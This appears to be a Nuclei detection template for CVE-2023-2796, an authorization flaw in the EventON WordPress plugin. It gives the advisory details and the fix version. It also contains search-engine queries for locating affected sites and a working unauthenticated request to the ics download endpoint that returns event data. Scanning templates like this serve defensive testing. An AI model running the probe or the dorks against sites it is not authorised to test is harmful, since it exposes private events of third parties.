id: CVE-2023-2796

info:
  name: EventON <= 2.1 - Missing Authorization to Event Access
  author: randomrobbie
  severity: medium
  description: |
    The EventON WordPress plugin before 2.1.2 lacks authentication and authorization in its eventon_ics_download ajax action, allowing unauthenticated visitors to access private and password protected Events by guessing their numeric id.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/dba3f3a6-3f55-4f4e-98e4-bb98d9c94bdd
    - https://wpscan.com/vulnerability/e9ef793c-e5a3-4c55-beee-56b0909f7a0d
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2796
  remediation: Fixed in version 2.1.2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-2796
  metadata:
    fofa-query: "wp-content/plugins/eventon/"
    google-query: inurl:"/wp-content/plugins/eventon/"
    shodan-query: 'vuln:CVE-2023-2796'
    verified: true
    max-request: 1
  tags: wordpress,wp-plugin,wpscan,wp,eventon

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "BEGIN:VCALENDAR"
          - "END:VCALENDAR"
        condition: and

      - type: word
        part: header
        words:
          - "text/Calendar"

      - type: status
        status:
          - 200